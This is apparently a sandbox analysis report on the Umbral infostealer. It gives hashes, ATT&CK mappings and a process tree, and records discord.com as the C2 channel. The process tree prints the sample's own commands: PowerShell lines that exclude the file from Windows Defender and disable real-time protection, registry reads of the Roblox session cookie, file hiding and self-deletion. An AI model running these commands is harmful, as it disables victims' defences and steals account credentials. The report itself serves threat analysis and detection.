umbral | 30ac9d27fe86c00f827876cb245deedf7f8f4cbb16f4359fda4beb0cf8183d73

Analysis

max time kernel
93s
max time network
203s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10-06-2024 05:05

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General

Target

Umbral.exe
Size

229KB
MD5

aaf99a08d4968f6c8b4dffea65e508b5
SHA1

99d6d8d218dc7a07cb8dbf009ed474782babd4d9
SHA256

30ac9d27fe86c00f827876cb245deedf7f8f4cbb16f4359fda4beb0cf8183d73
SHA512

9bf219952fca4d62f85bf565804e03901ec9d2b77d59e8600f2276a867bd8e6b516f4ee68527b481f11ff4df6ed4da77a438de1c1f386f8eae54e7797a63e696
SSDEEP

6144:9loZM9rIkd8g+EtXHkv/iD4DcSP4+ZRSe3q459cgYb8e1mDi:foZOL+EP8DcSP4+ZRSe3q459clF

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1760-0-0x000001F9D4C90000-0x000001F9D4CD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4792	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4848	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3572	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4792	powershell.exe
4792	powershell.exe
2676	powershell.exe
2676	powershell.exe
1048	powershell.exe
1048	powershell.exe
4200	powershell.exe
4200	powershell.exe
2664	powershell.exe
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	Umbral.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	wmic.exe
Token: SeSecurityPrivilege	2384	wmic.exe
Token: SeTakeOwnershipPrivilege	2384	wmic.exe
Token: SeLoadDriverPrivilege	2384	wmic.exe
Token: SeSystemProfilePrivilege	2384	wmic.exe
Token: SeSystemtimePrivilege	2384	wmic.exe
Token: SeProfSingleProcessPrivilege	2384	wmic.exe
Token: SeIncBasePriorityPrivilege	2384	wmic.exe
Token: SeCreatePagefilePrivilege	2384	wmic.exe
Token: SeBackupPrivilege	2384	wmic.exe
Token: SeRestorePrivilege	2384	wmic.exe
Token: SeShutdownPrivilege	2384	wmic.exe
Token: SeDebugPrivilege	2384	wmic.exe
Token: SeSystemEnvironmentPrivilege	2384	wmic.exe
Token: SeRemoteShutdownPrivilege	2384	wmic.exe
Token: SeUndockPrivilege	2384	wmic.exe
Token: SeManageVolumePrivilege	2384	wmic.exe
Token: 33	2384	wmic.exe
Token: 34	2384	wmic.exe
Token: 35	2384	wmic.exe
Token: 36	2384	wmic.exe
Token: SeIncreaseQuotaPrivilege	2384	wmic.exe
Token: SeSecurityPrivilege	2384	wmic.exe
Token: SeTakeOwnershipPrivilege	2384	wmic.exe
Token: SeLoadDriverPrivilege	2384	wmic.exe
Token: SeSystemProfilePrivilege	2384	wmic.exe
Token: SeSystemtimePrivilege	2384	wmic.exe
Token: SeProfSingleProcessPrivilege	2384	wmic.exe
Token: SeIncBasePriorityPrivilege	2384	wmic.exe
Token: SeCreatePagefilePrivilege	2384	wmic.exe
Token: SeBackupPrivilege	2384	wmic.exe
Token: SeRestorePrivilege	2384	wmic.exe
Token: SeShutdownPrivilege	2384	wmic.exe
Token: SeDebugPrivilege	2384	wmic.exe
Token: SeSystemEnvironmentPrivilege	2384	wmic.exe
Token: SeRemoteShutdownPrivilege	2384	wmic.exe
Token: SeUndockPrivilege	2384	wmic.exe
Token: SeManageVolumePrivilege	2384	wmic.exe
Token: 33	2384	wmic.exe
Token: 34	2384	wmic.exe
Token: 35	2384	wmic.exe
Token: 36	2384	wmic.exe
Token: SeIncreaseQuotaPrivilege	2936	wmic.exe
Token: SeSecurityPrivilege	2936	wmic.exe
Token: SeTakeOwnershipPrivilege	2936	wmic.exe
Token: SeLoadDriverPrivilege	2936	wmic.exe
Token: SeSystemProfilePrivilege	2936	wmic.exe
Token: SeSystemtimePrivilege	2936	wmic.exe
Token: SeProfSingleProcessPrivilege	2936	wmic.exe
Token: SeIncBasePriorityPrivilege	2936	wmic.exe
Token: SeCreatePagefilePrivilege	2936	wmic.exe
Token: SeBackupPrivilege	2936	wmic.exe
Token: SeRestorePrivilege	2936	wmic.exe
Token: SeShutdownPrivilege	2936	wmic.exe
Token: SeDebugPrivilege	2936	wmic.exe
Token: SeSystemEnvironmentPrivilege	2936	wmic.exe
Token: SeRemoteShutdownPrivilege	2936	wmic.exe
Token: SeUndockPrivilege	2936	wmic.exe
Token: SeManageVolumePrivilege	2936	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 2656	1760	Umbral.exe	85
PID 1760 wrote to memory of 2656	1760	Umbral.exe	85
PID 1760 wrote to memory of 4792	1760	Umbral.exe	87
PID 1760 wrote to memory of 4792	1760	Umbral.exe	87
PID 1760 wrote to memory of 2676	1760	Umbral.exe	89
PID 1760 wrote to memory of 2676	1760	Umbral.exe	89
PID 1760 wrote to memory of 1048	1760	Umbral.exe	91
PID 1760 wrote to memory of 1048	1760	Umbral.exe	91
PID 1760 wrote to memory of 4200	1760	Umbral.exe	93
PID 1760 wrote to memory of 4200	1760	Umbral.exe	93
PID 1760 wrote to memory of 2384	1760	Umbral.exe	121
PID 1760 wrote to memory of 2384	1760	Umbral.exe	121
PID 1760 wrote to memory of 2936	1760	Umbral.exe	98
PID 1760 wrote to memory of 2936	1760	Umbral.exe	98
PID 1760 wrote to memory of 2960	1760	Umbral.exe	100
PID 1760 wrote to memory of 2960	1760	Umbral.exe	100
PID 1760 wrote to memory of 2664	1760	Umbral.exe	102
PID 1760 wrote to memory of 2664	1760	Umbral.exe	102
PID 1760 wrote to memory of 4848	1760	Umbral.exe	104
PID 1760 wrote to memory of 4848	1760	Umbral.exe	104
PID 1760 wrote to memory of 1636	1760	Umbral.exe	108
PID 1760 wrote to memory of 1636	1760	Umbral.exe	108
PID 1636 wrote to memory of 3572	1636	cmd.exe	110
PID 1636 wrote to memory of 3572	1636	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2656	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4200
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2384
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2664
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wy0vwfhf.iqx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1760-72-0x000001F9EF440000-0x000001F9EF452000-memory.dmp

Filesize
72KB

Download
memory/1760-0-0x000001F9D4C90000-0x000001F9D4CD0000-memory.dmp

Filesize
256KB

Download
memory/1760-90-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-71-0x000001F9D6AA0000-0x000001F9D6AAA000-memory.dmp

Filesize
40KB

Download
memory/1760-2-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-34-0x000001F9EF3F0000-0x000001F9EF440000-memory.dmp

Filesize
320KB

Download
memory/1760-35-0x000001F9EF510000-0x000001F9EF52E000-memory.dmp

Filesize
120KB

Download
memory/1760-1-0x00007FFEC4133000-0x00007FFEC4135000-memory.dmp

Filesize
8KB

Download
memory/1760-33-0x000001F9EF470000-0x000001F9EF4E6000-memory.dmp

Filesize
472KB

Download
memory/4792-5-0x0000024074B60000-0x0000024074B82000-memory.dmp

Filesize
136KB

Download
memory/4792-9-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4792-15-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4792-14-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4792-18-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

Filesize
10.8MB

Download